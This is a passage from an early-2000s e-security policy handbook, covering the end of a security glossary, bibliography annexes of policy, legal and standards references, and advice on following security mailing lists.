The element of a public/private key pair that can be known by anyone. The public key is used to encrypt information that is to be intelligible only to the holder of the corresponding private key. It is also used to decrypt a digital signature in order to compare the decrypted digital signature and the hashed value of the signed document.

Reliability
The probability that a system will adequately accomplish its tasks for a specific period of time, under the expected operating conditions.

Remote Access
The hookup of a remote computing device via communications lines such as ordinary phone lines or wide area networks to access network applications and information.

Risk
The probability that a particular vulnerability of a system will be exploited, either intentionally or accidentally.

Risk Analysis: The analysis of an organization's information resources, existing controls and computer system vulnerabilities. It establishes a potential level of damage in dollars and/or other assets and identifies controls that need improvement.

Salami Slice
A hacker method for the acquisition of funds. A database of account information is copied. Then on a later date all accounts are charged a minimal amount, so as not to arouse suspicion.

Scalability
The ability to expand a computing solution to support large numbers of users without having an impact on performance.

Security audit
An independent professional security review that tests and examines a company's compliance with existing controls, the results of which enable an auditor to recommend necessary changes in security controls, policies, and procedures.

Security procedures
A set of detailed instructions, configurations, and recommendations to implement a company's security policy.

Server
The control computer on a local area network that controls software access to workstations, printers and other parts of the network.

Smart card
A credit card-sized device with embedded microelectronics circuitry for storing information about an individual. This is not a key or token, as used in the remote access authentication process.

Snapshot
A copy of what a computer's memory (primary storage, specific registers, etc.) contains at a specific point in time. Like a photograph. A snapshot can be used to catch intruders by recording information that the hacker may erase before the attack is completed or repelled.

Snooping tool
A program used by an intruder to capture passwords and other data.

Social engineering
An attack based on deceiving users or administrators at the target site. Social engineering attacks are typically carried out by telephoning users or operators and pretending to be an authorized user to attempt to gain access to systems illicitly.

Spam
(Used as verb, e.g. to spam someone) To indiscriminately send unsolicited, unwanted, irrelevant, or inappropriate messages, especially commercial advertising in mass quantities. (Used as a noun: spam) electronic "junk mail."

Spoof
To gain access to a system by masquerading as an authorized user.

Stateful evaluation
Methodology using mixture of proxy or filtering technology intermittently, depending on perceived threats (or the need for speed).

Token
In authentication, a device used to send and receive challenges and responses during the user authentication process. Tokens may be small, hand-held devices similar to pocket calculators or credit cards.

Total Cost of Ownership (TCO)
A model that helps IT professionals understand and manage the budgeted (direct) and unbudgeted (indirect) costs incurred by acquiring, maintaining, and using an application or a computing system. The TCO normally includes training, upgrades, and administration as well as the original purchase price.

Threat
Any item that has the potential to compromise the integrity, confidentiality, and availability of data.

Tiger team
A group of professional security experts employed by a company to test the effectiveness of security by trying to break in.

Time bomb
A program inserted into software by in intruder that triggers when a particular time is reached or an interval has elapsed.

Trap door
A way to bypass the normal login security and gain control of a computer without necessarily obtaining the owner's consent. If a backdoor is installed on a network-attached computer, a person anywhere on the Internet may be able to gain control of the computer without your knowledge or approval. A backdoor need not have malicious intent; e.g. operating systems are sometimes shipped by the manufacturer with privileged accounts for use by field service technicians or the vendor's maintenance programmers. However, they may also be used for intrusion by unauthorized persons. Also known as a "back door."

Trojan horse
A computer program that appears to have a useful function, but also has a hidden and potentially malicious function that evades security mechanisms, sometimes by exploiting legitimate authorizations of a system entity that invokes the Trojan horse program.

Two-Factor Authentication:
Two-factor authentication is based on something a user knows (factor one) plus something the user has (factor two). In order to access a network, the user must have both "factors," just as he/she must have an ATM card and a Personal Identification Number (PIN) to retrieve money from a bank account. In order to be authenticated during the challenge/response process, users must have this specific (private) information.

Universal Resource Locator (URL)
Universal Resource Locator – a generalized address to locate something in the Internet. Examples are http://www.infodev.org and mailto:infodev@worldbank.org

User
Any person who interacts directly with a computer system.

User ID
A unique character string that identifies a user.

User identification
User identification is the process by which a user identifies himself to the system as a valid user. This is not the same as authentication, which is the process of establishing that the user is who he says he is and has a right to use that system.

User interface
The part of an application that the user works with directly. User interfaces can be text-driven, such as DOS, or graphical, such as Windows.

Username/password
A name and a secret password that identifies a user to a computer system or a web site.

Virtual Private Network (VPN)
A Virtual Private Network (VPN) is a private connection between two machines that sends private data traffic over a shared or public network, the Internet. VPN technology lets an organization securely extend its network services over the Internet to remote users, branch offices, and partner companies.

Virus
Code that is embedded into a computer program. When the program is executed, the viral code wakes up. Once active, a virus can replicate itself, post messages, destroy data, or degrade system performance.

Virus signature
Characteristics marks of a virus that are tracked and fought by security service software vendors. Security patches are provided routinely by the most active software vendors, including McAfee, Norton (specifically their security tools including virus protection and firewalls), and Microsoft, which is working to secure flaws in its systems and programs..

Vulnerability
A flaw or weakness in a system's design, implementation, or operation that can be exploited by an intruder to violate the system's security policy.

Wireless Equivalent Protocol (WEP)
Wireless Equivalent Protocol. It was designed to be implemented over WLANs to offer the same security features as a physical wire: confidentiality, access control, and data integrity.

Wireless Local Area Network (WLAN)
A wireless network that corresponds to wireless laptops or other mobile devices.

Wiretapping
An attack that intercepts and accesses data and other information contained in a flow in a communication system. Originally, the term applied to a mechanical connection to an electrical conductor. It now refers to reading information from any medium used for a link or even directly from a node, gateway or switch.

Worm
A computer program that can run independently, can propagate a complete working version of itself onto other hosts on a network, and may consume computer resources destructively, leading to a denial-of-service on that network, or networks.

ANNEX 2.
HANDBOOK BIBLIOGRAPHY

This Annex covers resources that were used and cited in the main text of this document. Additional resources will be listed in Annexes 3, 4, and 5.

Practical Unix & Internet Security, by Simson Garfinkel, Gene Spafford, and Alan Schwartz (O'Reilly & Associates, Inc.: CA, 2003)

Web Security, Privacy & Commerce, by Simson Garfinkel with Gene Spafford (O'Reilly & Associates, Inc.: CA, 2002)

IT Security: Risking the Corporation, by Linda McCarthy, Forward by Gene Spafford (Prentice Hall PTR: NJ, 2003)

PART 1

The future of global policy making site :
http://www.markle.org/globalpolicy/index.html
Includes the DOT Force Roadmap and the Louder Voices Study.

Digital Opportunity Taskforce (DOT) reports:
http://www.dotforce.org/teams
Includes material on eStrategies:
http://www.dotforce.org/reports/documents/65/E-Strategies_e.pdf

See also plans for the International e-Development Resource Network:
http://www.dotforce.org/teams/IeDRNBusinessPlan.ppt

Government guidelines for the development of the information society:
http://www.innovazione.gov.it/eng/documenti/linee_guida_eng.shtml

OECD Electronic Commerce site:
http://www.oecd.org/EN/home/0,,EN-home-29-nodirectorate-no-no-no-29,00.html

OECD Electronic Commerce for Development Study (2002)
http://www.oecd.org/EN/document/0,,EN-document-273-nodirectorate-no-15-36384-29,00.html

OECD eGovernment:
http://www.oecd.org/EN/about/0,,EN-about-301-nodirectorate-no-no-no-13,00.html

OECD ICT policy:
http://www.oecd.org/EN/home/0,,EN-home-40-nodirectorate-no-no-no-29,00.html

Global Internet Policy Initiative:
http://www.gipiproject.org/

Center for Democracy and Technology:
http://www.cdt.org/ and also the eGovernment handbook pages, completed n collaboration with infoDev: http://www.cdt.org/egov/handbook/

From the text footnotes for Part 1:

DOT-Force, http://www.dotforce.org/about/

Draft Declaration of Principles, World Summit on the Information Society, Document WSIS03/PCIP/DT/4(Rev.3)-E.

Moore, Paxson, Savage, Shannon, Staniford and Weaver, "Inside the Slammer Worm," *IEEE Security and Privacy*, Vol. 1, No. 4, July/August 2003, pp. 33-39.

PART 2

The IEEE fosters the development of standards that often become national and international standards. The organization publishes a number of journals, has many local chapters, and several large societies in special areas, such as the IEEE Computer Society. For further information on the IEEE and the IEEE Computer Society, see http://standards.ieee.org and http://www.computer.org/

Information about definitions and functional requirements for 802.11 may be found in this document:
http://grouper.ieee.org/groups/802/11/Documents/DocumentArchives/1992_docs/1192091.DOC

The Unicode standard was developed to produce international software and to process and render data in most of the world's languages. The following paper presents the background of the

development of this standard among vendors and by the International Organization for Standardization (ISO). The paper describes the design goals and principles. It also discusses how an application handles Unicode text. It concludes with a description of some approaches that can be taken to support Unicode and a discussion of Microsoft's implementation. Microsoft's decision to use Unicode as the native text encoding in its Windows NT (New Technology) operating system is of particular significance for the success of Unicode. http://research.compaq.com/wrl/DECarchives/DTJ/DTJB02/DTJB02SC.TXT

Additional material on the technical aspects of security may be found at the following links:

The Sans Institute Reading room: http://www.sans.org/rr/catindex.php?cat_id=48

http://www.securityfocus.com

http://www.sysinternals.com offers a variety of freeware utilities for monitoring system usage and handling other aspects of systems security.

http://www.deter.com/unix/index.htmlm is a Unix security page.

http://msgs.securepoint.com contains mailing lists for a number of popular security tools.

http://www.cert.org/tech_tips/unix_configuration_guidelines.html offers Unix configuration guidelines from CERT.

http://www.cert.org/tech_tips/win_configuration_guidelines.html offers Microsoft Windows configuration guidelines from CERT.

http://www.cert.org/security-improvement/modules/m09.html covers CERT guidelines on detecting signs of intrusions.

http://sites.inka.de/lina/freefire-l/index.en.html is a link to the FreeFire project for free security software.

http://www.counterpane.com/log-analysis.html contains advice and how-to's on analyzing system logs.

PART 3

The Human Development Report 2001: Making New Technologies Work for Human Development" (UNDP: NY, 2001).

See a number of works by Glaessner, Kellermann, and McNevin including "Electronic Safety and Soundness: Securing Finance in a New Age, Public Policy Issues (October 2003). This Monograph is the culmination of efforts over the past three years and builds upon a series of papers. These include: "Electronic Security: Risk Mitigation in Financial Transactions" (May 2002, June 2002, July 2002), "Electronic Finance: A New Approach to Financial Sector Development?" (2002), and "Mobile Risk Management: E-Finance in the Wireless Environment" (May 2002). All papers are available at: www.worldbank1.org/finance (click on E-security).

Further material on research projects and security management products is available at the IT Governance Institute (ITGI): www.itgi.org.

For information on the cases and programs, see the Information Systems Audit and Control Association at: www.isaca.org. One such study featured the country of Uruguay which might be of particular interest to readers of this handbook: http://www.isaca.org/ct_case.htm.

COBIT (http://www.isaca.org/cobit.htm, or http://www.itgi.org) is an open source product that provides a reference framework on e-Security for management, users, and IS audit, control, and security practitioners. The latest communication from ISACA will give you a good overview of current and future developments of the Association: Volume 8 2003 of Global Communiqué: http://ISACF:RESEARCH4@www.isaca.org/@member/gcomm/gcv034.pdf

Due to the rise in security incidents globally, a number of consulting firms have been producing reports on IT in an international context. See, for example, Ernst &

Young recently released the 2003 Global Information security survey:
http://www.ey.com/global/download.nsf/US/TSRS_Global_Information_Security_Survey_2003/$file/TSRS_-_Global_Information_Security_Survey_2003.pdf

Information on security issues including survey data on incidents and organizational responses may be found at the Sans Institute: www.sans.org.

InfraGard is an information sharing and analysis effort serving the interests and combining the knowledge base of a wide range of members. At its most basic level, InfraGard is a cooperative undertaking between the U.S. Government (led by the FBI) and an association of businesses, academic institutions, state and local law enforcement agencies, and other participants dedicated to increasing the security of United States critical infrastructures. For further information on a wide range of security issues, see www.infragard.net.

A second organization focused on a wide range of threats to individual. State and national security is the newly formed Department of Homeland Security in the United States. The new department's first priority is to protect the nation against further terrorist attacks. Component agencies will analyze threats and intelligence, guard U.S. borders and airports, protect U.S. critical infrastructure, and coordinate the response of the country for future emergencies. DHS is also dedicated to protecting the rights of American citizens and enhancing public services, such as natural disaster assistance and citizenship services, by dedicating offices to these important missions. See, www.dhs.gov.

The FBI has recently published a survey on computer crime: see www.gocsi.com for the main Computer Security Institute website and http://i.cmpnet.com/gocsi/db_area/pdfs/fbi/FBI2003.pdf for the Survey itself.

The ICC is an international body whose membership includes developing countries, the group is engaged with research and exchanges on ICT issues such as, e-Commerce, e-security, privacy, and law in the context of the Internet. The ICC web site and related pages may be found at: http://www.iccwbo.org/home/menu_electronic_business.asp

The following are several examples of recent work performed by the ICC:

a) Electronic Signatures Directive – review and response to the European Commission review of the Electronic Signatures Directive, which was submitted to the European Commission in September 2003.

b) Draft Privacy Toolkit - The Draft Privacy Toolkit develops the broad approach of ICC to the regulation of personal data and suggests the best way to protect privacy while allowing business to function effectively and continue to innovate.

c) Draft ICC policy statement on employee privacy, data protection and human resources -
This draft policy statement sets out ICC's positions on the key issues relating to data protection and human resources, and provides recommendations for government policy in this area.

d) Draft E-terms - E-terms 2004 is ICC's new self-regulatory legal instrument on electronic contracting. The document has been prepared by an informal drafting group. In its current form, the draft model clause is a focused instrument that addresses three identified issues: (i) contract formation; (ii) confidentiality issues; (iii) evidential value of electronic records. The clause is limited to issues that are specific for the electronic medium. Thus, E-terms 2004 must be read in the context of existing conventional contract regulations and rules.

Federal Information System Control Manual (FISCAM) offers technical and policy information at:
www.gao.gov/special.pubs/ai12.19.6.pdf

The International Standards Organization (ISO) develops standards for the information technology sector worldwide. Its code of practice for information security management, ISO/ IEC 17799, transforms the British Standard BS 7799, which has been adopted in many countries, into an International Standard and it is expected to become the reference document for codes of good practice to ensure secure and trustworthy e-commerce. See documents posted at www.iso.org.

ADDITIONAL LINKS FOR PARTS 3 AND 4: FOCUS ON INTERNATIONAL BUSINESS ISSUES CASES AND LEGISLATION

1) Implementing e-Government - being ready: http://www.audit.nsw.gov.au/guides-bp/e-govt-BPG.pdf) is an excellent and simple checklist for governments to implement e-government (20 pages). Of interest: chapters on privacy, security, and technology and information management (Audit Office of New-South Wales, Australia)

2) Case studies on protecting critical infrastructure through network security may be found at: http://www.itu.int/osg/spu/ni/security/index.html. Korea and Brazil are featured in the Country Examples.

3) "The government's guidelines for the development of the information society", Minister for Innovation and Technologies, Rome, June 2002 is an excellent example on a government approach to setting up a plan for ICT security. See also, http://www.innovazione.gov.it/eng/documenti/linee_guida_eng.pdf which contains an executive summary on Italy's national plan for ICT security.

4) Reference to Global ICT Policy Themes, Issues and Venues, including security and privacy may be found at: http://www.markle.org/globalpolicy/ The organization focuses on enabling meaningful participation by developing-nation stakeholders and features an implementation team on local policy participation from the G8 digital opportunity task force, June 2002

5) THE ITU site contains a collection of links to policy and regulatory web sites: http://www.itu.int/osg/spu/ni/security/links/policy.html There are also links for development and e-strategy issues: http://www.itu.int/ITU-D/e-strategy/internet/ The World e-Trust memorandum of understanding: http://www.itu.int/ITU-D/e-strategy/MoU/world_e.html, and e-Business: A Technology Strategy for Developing Countries: http://www.itu.int/ITU-D/e-strategy/publications-articles/wmrcjune00/ntoko.html

2003 Australian Computer Crime and Security Survey

Canadian Criminal Code, Part VI, Invasion of Privacy and Part IX, Offences against rights of property.

Claessens Stijn, Glaessner Thomas and Klingebiel Daniela, "E-Finance in Emerging Markets: Is Leapfrogging Possible?"

Commission of the European Communities: Network and Information Security: Proposal for A European Policy Approach- Brussels, June 6, 2001.

Commission of the European Communities: Creating a Safer Information Society by Improving the Security of Information Infrastructures and Combating Computer-related Crime – eEurope 2002, Brussels, January 26, 2001.

Department of Justice, Canada: www.canada.justice.gc.ca/en/cons/la_al/index.html#toc: Lawful Access – Consultation Document.

Dr Chae, Kijoon, "Introduction to Critical Network Infrastructures," May 20-22, 2002, Seoul, Korea.

Dr Lim, Chaeho, "Creating Trust in Critical Network Infrastructures: Korean Case Study." May 20-22, 2002, Seoul.

European Union Directive 2000/31/EC - on certain legal aspects of information society services, in particular electronic commerce, in the Internal Market (Directive on electronic commerce)

European Union Directive 97/33/EC – on Interconnection in Telecommunications.

European Union Directive 2002/58/EC – on privacy and Electronic Communications.

Glaessner, Thomas, Kellerman Tom, and McNevin, "Electronic Security: Risk Mitigation in Financial Transactions -Public Policy Issues," June 2002, The World Bank.

Global Dialogue "E-Security: Risk Mitigation in the Financial Sector," The World Bank, Integrator Group, September 25, 2002

Goodman E., Seymour, Hassebroek B., Pamela, King, Davis and Ozment, Andy, " International Coordination to Increase the Security of Critical Network Infrastructures," May 20-22, 2002, Seoul.

Harrop, Mike, "Creating Trust in Critical Network Infrastructures –Canadian Case Study," May 20-22, 2002, Seoul, Korea.

International Telecommunications Union-Telecommunications Standardization Sector (ITU-T) – Lead Study Group 17 on Communications and Systems Security (www.itu.int/ITU-T/) .

Internet Security Alliance – Common Sense Guide for Senior Managers – Top Ten Recommended Security Practices, July 2002.

Keck, Richard and Satola, David, "Entering the Grid Computing Marketplace – A Primer of Key Legal Issues," April 1, 2003.

Kellerman, Thomas, "Mobile Risk Management: E-finance in the Wireless Environment," The World Bank, May 2002.

McCullagh, Declan, "Will Canada's ISPs become spies?" CNET News.com, August 27, 2002.

Monetary Authority of Singapore – Technology Risk Management Guidelines for Financial Institutions – February 28, 2003.

Official Journal of the European Communities – Council Resolution on a common approach and specific actions in the area of network and information security, January 28, 2002.

Official Journal of the European Communities – Council Resolution on the Implementation of the eEurope 2005 Action Plan, February 18, 2003.

OECD Guidelines for the Security of Information Systems and Networks – Towards a Culture of Security.

Privacy Amendment Act of Australia (Private Sector) - Act 2000

"Security of Internet Enabled Wireless Devices," Wireless Task Force Findings, National Security Telecommunications Advisory Committee, January 2003.

Shaw, Robert, "Creating Trust in Critical Network Infrastructures: The Case of Brazil." May 20-22, 2002, Seoul.

The National Strategy to Secure Cyberspace, President's Critical Infrastructure Board, United States, September 2002.

"Wireless Security," Wireless Task Force Report, National Security Telecommunications Advisory Committee, January 2003.

PART 4

Once source on privacy is the annual survey by EPIC and Privacy International, "Privacy and Human Rights 2003" (Sept. 2003)
http://www.privacyinternational.org/survey/phr2003/

See also, the Global Privacy Report - a lengthy report on privacy conditions around the world, funded by the Japanese Ministry of Public Management, Home Affairs, Posts and Telecommunications.,August 14, 2003
http://joi.ito.com/joiwiki/PrivacyReport

Links to anti-spam laws and organizations all around the world, as well as to articles in law journals analyzing the problem in more depth may be found at:
http://www.spamlaws.com/

WIPO has published a summary of intellectual property legislation in WIPO Member States, available at
http://www.wipo.org/about-ip/en/ipworldwide/index.html.

From the text footnotes for Part 4:

http://www.usdoj.gov/04foia/privstat.htm

A more extensive, although dated, discussion of legal issues in the U.S. can be found in *Computer Crime: A Crimefighter's Handbook* (O'Reilly). The book is out of print, but used copies are available.

The Global Internet Policy Initiative has a host of resources on the full range of policy issues affecting ICT development: http://www.internetpolicy.net.

The National Strategy to Secure Cyberspace [United States], February 2003 http://www.whitehouse.gov/pcipb/

Office of Critical Infrastructure Protection and Emergency Preparedness (OCIPEP) http://www.ocipep.gc.ca/home/index_e.asp. For descriptions of how various other countries have responded to critical infrastructure protection, see "International Critical Information Infrastructure Protection Handbook," edited by Andreas Wenger, Jan Metzger and Myriam Dunn, Center for Security Studies and Conflict Research, Swiss Federal Institute of Technology (2002) http://www.isn.ethz.ch/crn.

The U.K.'s Home Office has created a National Infrastructure Security Coordination Centre (NISCC) to coordinate critical infrastructure protection issues, provide alerts and attack response assistance, and facilitate public-private relationships to protect infrastructure. Within NISCC, there is a Computer Emergency Response Team, known as UNIRAS. An Electronic Attack Response Group (EARG) is also within NISCC to provide assistance to critical infrastructure organizations and government departments that suffer an attack. UNIRAS will provide an early warning and alert service to all UK businesses. The NISCC website (http://www.niscc.gov.uk) provides detailed information on the British government's approach.

Under Australian law, Executive Agencies are non-statutory bodies established by the Governor-General when a degree of independence within the governmental structure is needed and when the functions of the agency require a government-wide approach. The head of an Executive Agency is appointed by, and directly accountable to, a Minister, in this case the Minister for Communications, Information Technology and the Arts. See: http://www.noie.gov.au/Projects/confidence/Protecting/nat_agenda.htm.

International Critical Information Infrastructure Protection Handbook, edited by Andreas Wenger, Jan Metzger and Myriam Dunn, Center for Security Studies and Conflict Research, Swiss Federal Institute of Technology (2002) http://www.isn.ethz.ch/crn.

For descriptions of how various other countries have responded to critical infrastructure protection, see International Critical Information Infrastructure Protection Handbook, edited by Andreas Wenger, Jan Metzger and Myriam Dunn, Center for Security Studies and Conflict Research, Swiss Federal Institute of Technology (2002): http://www.isn.ethz.ch/crn.

United States Presidential Decision Directive 63: Critical Infrastructure Protection, May 22, 1998 http://www.fas.org/irp/offdocs/pdd-63.htm. See also PDD 62: http://www.fas.org/irp/offdocs/pdd-62.htm.

E.O. 13228, Establishing the Office of Homeland Security and the Homeland Security Council, October 8, 2001, http://fas.org/irp/offdocs/eo/eo-13228.htm; E.O. 13231, Critical Infrastructure Protection in the Information Age, October 16, 2001: http://www.ciao.gov/News/EOonCriticalInfrastrutureProtection101601.html.

The National Strategy to Secure Cyberspace, Feb. 14, 2003, http://www.dhs.gov/interweb/assetlibrary/National_Cyberspace_Strategy.pdf.

The National Strategy to Secure Cyberspace was supplemented by The *National Strategy for the Physical Protection of Critical Infrastructures and Key Assets*, released March 4, 2003, http://www.dhs.gov/interweb/assetlibrary/Physical_Strategy.pdf. Both of these documents are implementing components of *The National Strategy for Homeland Security*, issued by the White House on July 16, 2002.

European Commission, *Proposal for a Regulation of the European Parliament and of the Council Establishing the European Network and Information Security Agency*, Feb. 11, 2003, COM(2003) 63 final, 2003/0032 (COD): http://europa.eu.int/information_society/eeurope/action_plan/safe/documents/nisa_en.pdf

Council resolution of 28 Jan. 2002; European Commission, *Communication from the Commission to the Council, the European Parliament, the European Economic And Social Committee and the Committee of the Regions*

- *Network and Information Security: Proposal for a European Policy Approach*, June 6, 2001, COM (2001) 298 final, http://europa.eu.int/information_society/eeurope/news_library/new_documents/index_en.htm

European Commission, Communication from the Commission to the Council, the European Parliament, the Economic and Social Committee and the Committee on the Regions Creating a Safer Information Society by Improving the Security of Information Infrastructures and Combating Computer-related Crime, Jan. 26, 2001, COM(20000) 890 final, http://europa.eu.int/ISPO/eif/InternetPoliciesSite/Crime/CrimeCommEN.html

Homeland Security Act, http://www.whitehouse.gov/deptofhomeland/analysis/

Federal Information Security Management Act, Title III of E-Government Act of 2002, Pub. Law 107-347, http://csrc.nist.gov/policies/FISMA-final.pdf.

Federal Information Security Management Act, Title III of E-Government Act of 2002, Pub. Law 107-347, http://csrc.nist.gov/policies/FISMA-final.pdf.

Thomas J. Smedinghoff, "The Developing U.S. Legal Standard for Cyber-security," Baker & McKenzie, Chicago, http://www.bmck.com/ecommerce/us%20cyber-security%20standards.pdf;

In the United States, the Securities and Exchange Commission has brought actions against corporations that insufficiently protected their computer systems from unauthorized access. See *SEC v. National Business Communications Corp.*, SEC Litig. Release No. 11223, Sept. 19, 1986, SEC Litig. Release No. 11229, Sept. 26, 1986. *In the Matter of Material Sciences Corporation*, SEC Litig. Release No. 41930, Sept. 28, 1999.

Sarbanes-Oxley Act of 2002, Pub. Law 107-204.

http://www.aicps.org; http://www.isaca.org.

As is made clear throughout this handbook, there is a growing body widely accepted computer security standards, ranging from the Organization for Economic Cooperation and Development (OECD) Guidelines for the Security of Information Systems to the information security standards adopted by non-governmental standards bodies. See generally, Michael Nugent, *It Can't Happen Here*, Wall Street Technology Association, Ticker, A Technology Magazine For Industry Profession (2003), http://www.wsta.org/publications/articles/0402_article03.html

Carol A. Siegel, Ty R. Sagalow, Paul Serritella, *Cyber-Risk-Management Technical and Insurance Controls for Enterprise-Level Security, Security* Management Practices, pg. 42, (September/October 2002). http://www.gsu.edu/~accrss/Security_and_Business_Risk.pdf.

NIST's Computer Security Resource Center (CSRC) publishes information on a broad range of security topics, including cryptographic standards and applications, security testing, security research, system certification and accreditation guidelines, return on security investments, small business computer security, and federal agency security practices. http://csrc.nist.gov/. NIST publications are available at http://csrc.nist.gov/publications/index.html.

National Security Agency, *Security Recommendation Guides*, http://nsa1.www.conxion.com/.

CERT/Coordination Center, Software Engineering Institute, Carnegie Mellon University, http://www.cert.org/.

European Commission, *Communication from the Commission to the Council, the European Parliament, the European Economic And Social Committee and the Committee of the Regions - Network and Information Security:* Proposal for a European Policy Approach, June 6, 2001, COM(2001) 298 final, http://europa.eu.int/information_society/eeurope/news_library/new_documents/index_en.htm.

Proposal for a Regulation of the European Parliament and of the Council Establishing the European Network and Information Security Agency, Commission of the European Communities, Feb. 11, 2003, COM(2003) 63 final, 2003/0032 (COD), http://europa.eu.int/information_society/eeurope/action_plan/safe/documents/nisa_en.pdf.

"Protecting Developing Economies from Cyber Attack – Assistance to Build Regional Cyber-security Preparedness," APEC Media Release, Mar. 18, 2003, http://www.apecsec.org.sg/whatsnew/press/PressRel_ProtectgFromCyberAttack_180303.html.

http://www.ncs.gov/NSTAC/attf.html

The American Bar Association's Privacy & Computer Crime Committee has published a detailed report covering cybercrime in depth. Jody R. Westby, ed., *International Guide to Combating Cybercrime,* American Bar Association, Section of Science & Technology Law, Privacy & Computer Crime Committee, 2003, http://www.abanet.org/abapubs/books/cybercrime/.

UN General Assembly, Resolution 55/63, *Combating the criminal misuse of information technologies*, Dec. 4, 2000, http://www.nvk2000.ru/apec/documents/International_Agreements/55-63_English.pdf

UN General Assembly, Resolution 56/121, *Combating the criminal misuse of information technologies*, Jan. 23, 2002, http://ods-dds-ny.un.org/doc/UNDOC/GEN/N01/482/04/PDF/N0148204.pdf?OpenElement.

The treaty, ETS no. 185, is online at http://conventions.coe.int/treaty/EN/cadreprincipal.htm along with an extensive Explanatory Report.

Eighth United Nations Congress on the Prevention of Crime and the Treatment of Offenders, Havana, Aug. 27-Sept. 7, 1990, report prepared by the Secretariat, UN publication, Sales No. E.91.IV.2, chap I. For the text of these recommendations, see United Nations Commission on Crime Prevention and Criminal Justice, Report on the Eighth Session, Apr. 27-May 6, 1999, E/CN.15/1999/12, http://www.un.org/documents/ecosoc/docs/1999/e1999-30.htm.

UN, *International Review of Criminal Policy - United Nations Manual on the Prevention and Control of Computer-Related Crime*, http://www.uncjin.org/Documents/EighthCongress.html.

Report of UN Economic and Social Council's Commission on Crime Prevention and Criminal Justice effectively summarizes UN and other international work in the cybercrime and cyber-security area. *Effective measures to prevent and control computer-related crime*, E/CN.15/2002/8, Report of the Secretary-General, United Nations, Economic and Social Council, Commission on Crime Prevention and Criminal Justice, Eleventh Session, Vienna, Apr. 16-25, 2002, http://www.unodc.org/pdf/crime/commissions/11comm/8e.pdf.

Gramm-Leach Bliley Act, 15 USC, Subchapter 1, § 6801.

"Appendix B to Part 570—Interagency Guidelines Establishing Standards for Safeguarding Customer Information," Part III, http://www.occ.treas.gov/fr/fedregister/66fr8616.htm.

"Financial Institutions and Customer Data: Complying with the Safeguards Rule," http://www.ftc.gov/bcp/conline/pubs/buspubs/safeguards.htm

Standards for Safeguarding Customer Information, 67 Fed. Reg. 36484-94, May 23, 2000, (codified at 16 C.F.R. Part 314), http://www.ftc.gov/os/2002/05/67fr36585.pdf.

Technology Risk Management Guidelines for Financial Institutions, Monetary Authority of Singapore, Draft Nov. 11, 2002, http://www.mas.gov.sg/display.cfm?id=94D063CD-5EB6-4636-82B5A725F9F6E9F5.

45 CFR §160, 162, 164; http://www.cms.hhs.gov/hipaa/hipaa2/regulations/security/default.asp

HIPAA, 42 U.S.C. Section 1320d-2(d)(2).

Linda A. Malek and Brian R. Krex, "HIPAA's security rule becomes effective 2005," *The National Law Journal,* Mar. 31, 2003 at B14.

http://europa.eu.int/comm/internal_market/privacy/law_en.htm.

Directive 2002/58/EC of the European Parliament and of the Council of 12 July 2002 concerning the processing of personal data and the protection of privacy in the electronic communications sector (Directive on privacy and electronic communications), Article 4(1), Official Journal L 201/37, July 31, 2002, at 37-47 (replacing EU

Directive 97/66/EC), http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&lg=en&numdoc=32002L0058&model=guichett.

Security Breach Information Act (SB 1386), added to the California Civil Code as Section 1798.29; Keith Poulsen, "California disclosure law has national reach," SecurityFocus Online, Jan. 6, 2003, http://online.securityfocus.com/news/1984. Other disclosure proposals have been put forth in the U.S. See [Michael Vatis, Testimony before the House Government Reform Committee, April 8, 2003; Sen. Bennett's proposal.

PART 5

http://news.cnet.com/news/0-1005-200-4523277.html

http://www.wired.com/news/technology/0,1282,34496,00.html

http://www.microsoft.com/technet/security/bulletin/MS01-017.asp

Forum of Incident Response and Security Teams, the worldwide consortium of major computer incident response groups. Visit *http://www.first.org* for more information. ISS reported a security problem to 11 vendors in December 1999, then released the information about the vulnerability to the press in February 2000. For further information, see http://www.cnn.com/2000/TECH/computing/02/04/shop.glitch.idg

"Dos and Don'ts of Client Authentication on the Web," USENIX and MIT Technical Report 818, by Kevin Fu, Emil Sit, Kendra Smith, and Nick Feamster

ANNEX 3. ELECTRONIC RESOURCES

There is a certain irony in trying to include a comprehensive list of electronic resources in a printed document. Electronic resources such as Web pages, news-groups, and mailing lists are updated on an hourly basis; new releases of computer programs can be published every few weeks.

We thus present the following electronic resources with the understanding that this list necessarily cannot be complete nor completely up to date. What we hope, instead, is that it is useful. By reading it, we hope that you will gain insight into places to look for future developments in computer security. Along the way, you may find some information you can put to immediate use.

Mailing Lists

There are many mailing lists that cover security-related material. We describe a few of the major ones here. However, this is not to imply that only these lists are worthy of mention! There may well be other lists of which we are unaware, and many of the lesser-known lists often have a higher volume of good information.

Never place blind faith in anything you read in a mailing list, *especially* if the list is unmoderated. There are a number of self-styled experts on the net who will not hesitate to volunteer their views, whether knowledgeable or not. Usually their advice is benign, but sometimes it is quite dangerous. There may also be people who are providing bad advice on purpose, as a form of vandalism. And certainly there are times where the real experts make a mistake or two in what they recommend in an off-hand note posted to the net.

There are some real experts on these lists who are (happily) willing to share their knowledge with the community, and their contributions make the Internet a better place. However, keep in mind that simply because you read it on the network does not mean that the information is correct for your system or environment, does not mean that it has been carefully thought out, does not mean that it matches your site policy, and most certainly does not mean that it will help your security. *Always* evaluate carefully the information you receive before acting on it.

A Big Problem With Mailing Lists

The problem with all these lists is that you can easily overwhelm yourself. If you are on lists from two response teams, four vendors, and another half-dozen general-purpose lists, you may find yourself filtering several hundred messages a day whenever a new general vulnerability is discovered. At the same time, you don't want to unsubscribe from these lists, because you might then miss the timely announcement of a special-case fix for your own systems.

One method that we have seen others use with some success is to split the mailing lists up among a group of administrators. Each person gets one or two lists to monitor, with particularly useful messages then redistributed to the entire group. Be certain to arrange coverage of these lists if someone leaves or goes on vacation, however!

Another approach is to feed these messages into Usenet newsgroups you create locally especially for this purpose. This strategy allows you to read the messages using an advanced newsreader that will allow you to kill message chains or trigger on keywords. It may also help provide an archiving mechanism to allow you to keep several days or weeks (or more) of the messages.

Finally, most security mailing lists offer the option of subscribing to a daily digest of the list. Digest subscribers usually receive a single message each day that contains all of the day's messages. Managing these digests can be easier than sorting through each individual message as they arrive. Of course, you may learn about new vulnerabilities several hours later than other system administrators — or attackers.

Response Teams and Vendors

Many of the incident response teams (listed in Appendix E) have mailing lists for their advisories and alerts. If you can be classified as one of their constituents, you should contact the appropriate team(s) to be placed on their mailing lists.

Many vendors also have mailing lists for updates and advisories concerning their products. These include computer vendors, firewall vendors, and vendors of security software (including some freeware and

